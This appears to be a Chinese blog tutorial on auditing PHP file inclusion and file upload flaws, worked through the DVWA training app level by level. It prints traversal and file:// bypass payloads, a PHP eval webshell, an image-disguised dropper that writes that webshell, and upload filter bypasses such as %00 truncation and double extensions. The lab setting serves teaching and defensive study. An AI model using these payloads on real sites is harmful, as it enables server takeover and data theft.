審計的時候函數都是同樣的,這個四個包含函數: include() ; include_once() ; require();require_once().include 和 require 語句是相同的,除了錯誤處理方面:require 會生成致命錯誤(E_COMPILE_ERROR)並中止腳本,include 只生成警告(E_WARNING),而且腳本會繼續。

先說一下本地包含,本地包含就指的是隻能包含本機文件的漏洞,通常要配合上傳,或者是已控的數據庫來進行使用。

先寫個簡單的代碼測試一下。

在www目錄下新建兩個php文件,baohan1.php,baohan2.php

baohan2.php代碼

<?php
phpinfo();
?>

 

baohan1.php

<?php
include("baohan2.php");
?>

打開baohan1.php,能夠看到成功執行baohan2.php的代碼,成功把banhan2.php給包含了

 

這個時候稍微修改下代碼。把baohan1.php的:include("baohan2.php");改爲include("baohan2.txt");

把baohan2.php改爲baohan2.txt。再次訪問baihan1.php,能夠看到成功包含,

接下來將baohan2.txt文件的擴展名分別改成jpg、rar、doc、xxx進行測試,發現均可以正確顯示phpinfo信息。由此可知,只要文件內容符合PHP語法規範,那麼任何擴展名均可以被PHP解析。

 

 

再來看一下遠程文件包含

當服務器的php配置中選項allow_url_fopen與allow_url_include爲開啓狀態時,服務器會容許包含遠程服務器上的文件。若是對文件來源沒有檢查的話,就容易致使任意遠程代碼執行。

allow_url_include在默認狀況下是關閉的,若是想要實驗測試的話,能夠去打開,可是真實環境中建議關閉。

 

 

DVWA分析

先選擇low級別,先進行黑盒測試一下,進行包含,看到file1,file2,file3,試下file4,由於file.php存在,結果包含到了,而且提示you  are  rigjt。

這個時候能夠進一步操做,可使用../讓目錄回到上級目錄,以此來進行目標目錄(經過多個../可讓目錄回到根目錄中而後再進入目標目錄),

試一下吧,?page=../../php.ini   ,除了這麼多還有其餘的操做等待你去挖掘。

如今分析一下代碼<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

能夠看到直接接收page參數,沒有進行任何過濾操做,因此形成文件包含漏洞。

 

下面選擇medium,先看下代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

增長了str_replace()函數,把傳入的url裏面的http,https,../,..\  替換成空格,可是使用str_replace函數是不安全的,由於可使用雙寫繞過替換規則

好比:http和https能夠用hthttp://tp:給繞過,由於只是過濾了../和..\,因此能夠用絕對路徑進行繞過:?page=./..././..././../php.ini

 

 

 

選擇high級別,看下代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用了fnmatch函數:fnmatch() 函數根據指定的模式來匹配文件名或字符串。

檢查page參數,要求page參數的開頭必須是file開頭,服務器纔回去包含,可是咱們能夠利用file協議繞過防禦策略,而後再進行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

 

 

 

 最後看一下impossiable級別的代碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

能夠看到代碼很簡潔,page參數只能是"include.php","file1.php","file2.php","file3.php"

 不然直接exit。完全不能文件包含了。

 

 

 

最後的最後再分享個文件包含的滲透小技巧

***讀取敏感文件是文件包含漏洞的主要利用方式之一,好比服務器採用Linux系統,而用戶又具備相應的權限,那麼就能夠利用文件包含漏洞去讀取/etc/passwd文件的內容。

系統中常見的敏感信息路徑以下:windows系統

linux系統

 

 

***文件包含漏洞的主要利用方式是配合文件上傳。好比大多數網站都會提供文件上傳功能,但通常只容許上傳jpg或gif等圖片文件,經過配合文件包含漏洞就能夠在網站中生成一句話木馬網頁文件。
好比,在記事本中寫入下面這段代碼,並將之保存成jpg文件。

<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>

能夠成功進行包含,而且獲得了一個orange.php一句話木馬文件,密碼是orange。進而進行下一步攻擊。

 

 

 

 

 

 

文件上傳審計

其實我的認爲文件上傳黑盒測試的時候姿式特別多,白盒測試的時候除了明顯的限制上傳文件的類型外,白盒審計不如黑盒測試來的"刺激"。

文件上傳應該是最經常使用的漏洞了,上傳函數就那一個 move_uploaded_file();通常來講找這個漏洞就是直接ctrl+f 直接開搜。遇到沒有過濾的直接傳個一句話的webshell上去。

上傳的漏洞比較多,Apache配置,iis解析漏洞等等。在php中通常都是黑白名單過濾,或者是文件頭,content-type等等。通常來找上傳的過濾函數進行分析就行。

(1) 未過濾或本地過濾:服務器端未過濾,直接上傳PHP格式的文件便可利用。

(2) 黑名單擴展名過濾:限制不夠全面:IIS默認支持解析.asp,.cdx, .asa,.cer等。不被容許的文件格式.php,可是咱們能夠上傳文件名爲1.php (注意後面有一個空格)

(3) 文件頭 content-type驗證繞過:getimagesize()函數:驗證文件頭只要爲GIF89a,就會返回真。限制$_FILES["file"]["type"]的值 就是人爲限制content-type爲可控變量。

(4)過濾不嚴或被繞過:好比大小寫問題,網站只驗證是不是小寫,咱們就能夠把後綴名改爲大寫。

(5)文件解析漏洞:好比 Windows 系統會涉及到這種狀況:文件名爲1.php;.jpg,IIS 6.0 可能會認爲它是jpg文件,可是執行的時候會以php文件來執行。咱們就能夠利用這個解析漏洞來上傳。再好比 Linux 中有一些未知的後綴,好比a.php.xxx。因爲 Linux 不認識這個後綴名,它就可能放行了,攻擊者再執行這個文件,網站就有可能被控制。

(6)路徑截斷:就是在上傳的文件中使用一些特殊的符號,使文件在上傳時被截斷。好比a.php%00.jpg,這樣在網站中驗證的時候,會認爲後綴是jpg,可是保存到硬盤的時候會被截斷爲a.php,這樣就是直接的php文件了。經常使用來截斷路徑的字符是:\0  , ?  ,  %00  ,   也能夠超長的文件路徑形成截斷。

(4)等等等等,之後慢慢補充

 

忘了編譯器了,編輯器漏洞和文件上傳漏洞原理同樣,只不過多了一個編輯器。上傳的時候仍是會把咱們的腳本上傳上去。很多編譯器自己就存在文件上傳漏洞,舉個栗子:進入網站後臺後若是找不到上傳的地方或者其餘姿式很差使的時候,就能夠從編譯器下手進行上傳,從而GETSHELL。常見的編譯器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各類編譯器利用的相關姿式。網上不少這裏就不寫了。

 

先了解一下PHP經過$_FILES對象來讀取文件,以便於下面的理解

PHP中經過$_FILES對象來讀取文件,經過下列幾個屬性:

  • $_FILES[file]['name'] - 被上傳文件的名稱。

  • $_FILES[file]['type'] - 被上傳文件的類型。

  • $_FILES[file]['size'] - 被上傳文件的大小(字節)。

  • $_FILES[file]['tmp_name'] - 被上傳文件在服務器保存的路徑,一般位於臨時目錄中。

  • $_FILES[file]['error'] - 錯誤代碼,0爲無錯誤,其它都是有錯誤。

 

DVWA分析

選擇low級別,先進行黑盒測試一下,直接上傳個php一句話:<?php @eval($_POST["orange"]); ?>

看到上傳成功,路徑(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

 

 看一下代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

 不懂上面的函數什麼意思能夠百度一下,

basename()函數:basename(path,suffix)   ,    basename() 函數返回路徑中的文件名部分。若是可選參數suffix爲空,則返回的文件名包含後綴名,反之不包含後綴名。move_uploaded_file()函數:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函數將上傳的文件移動到新位置。若成功,則返回 true,不然返回 false。本函數檢查並確保由 file 指定的文件是合法的上傳文件(即經過 PHP 的 HTTP POST 上傳機制所上傳的)。若是文件合法,則將其移動爲由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT爲網頁的根目錄,target_path變量爲上傳文件的絕對路徑,basename( $_FILES['uploaded']['name'])將文件中已經「uploaded」的文件的名字取出並加入到target_path變量中。if語句判斷文件是否上傳到指定的路徑中,若沒有則顯示沒有上傳。

能夠看到,服務器對上傳文件的類型、內容沒有作任何的檢查、過濾,存在明顯的文件上傳漏洞,因此能夠上傳任意文件,生成上傳路徑後,服務器會檢查是否上傳成功並返回相應提示信息。

 

 

選擇mediem級別,看下代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

能夠看到對上傳的類型和大小加以限制,限制文件類型必須是image/jpeg和image.png,而且上傳文件的大小小於100000(97.6KB)

可是簡單地設置檢測文件的類型,所以能夠經過burpsuite來修改文件的類型進行過濾便可

咱們能夠經過burpsuite抓包修改文件類型,具體以下圖所示,經過抓包上傳upload.php,把.php文件成功上傳(上傳的png文件是小於97.6KB的)

注:這裏也是能夠利用%00截斷上傳,講下圖中的upload.png改爲upload.php%00.png就能夠突破限制,成功上傳。

 

 

選擇high級別,看下代碼

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析:strrpos(string,find,start)

函數返回字符串find在另外一字符串string中最後一次出現的位置,若是沒有找到字符串則返回false,可選參數start規定在何處開始搜索。

getimagesize(string filename)

函數會經過讀取文件頭,返回圖片的長、寬等信息,若是沒有相關的圖片文件頭,函數會報錯。

能夠看到,High級別的代碼讀取文件名中最後一個」.」後的字符串,指望經過文件名來限制文件類型,所以要求上傳文件名形式必須是」*.jpg」、」*.jpeg」 、」*.png」之一。同時,getimagesize函數更是限制了上傳文件的文件頭必須爲圖像類型。

用圖片馬進行繞過,抓包修改,把"phptupianma.png"改成"phptupianma.php.png"

在原本的文件名的文件名稱和後綴名之間加上php的後綴形式,使其位於中間位置,以便於使其在服務器端看成php文件來執行,這樣就能夠成功上傳。

 

 

 

 

 

 

 

 

還有其餘漏洞類型的審計,之後會慢慢補充......

 

 

 

 

 

上面所寫到的工具和環境都分享在雲盤裏面(連接: https://pan.baidu.com/s/1pLr7w6Z 密碼: r326)

本文連接(http://www.cnblogs.com/Oran9e/p/7763751.html),轉載請註明。

相關文章
相關標籤/搜索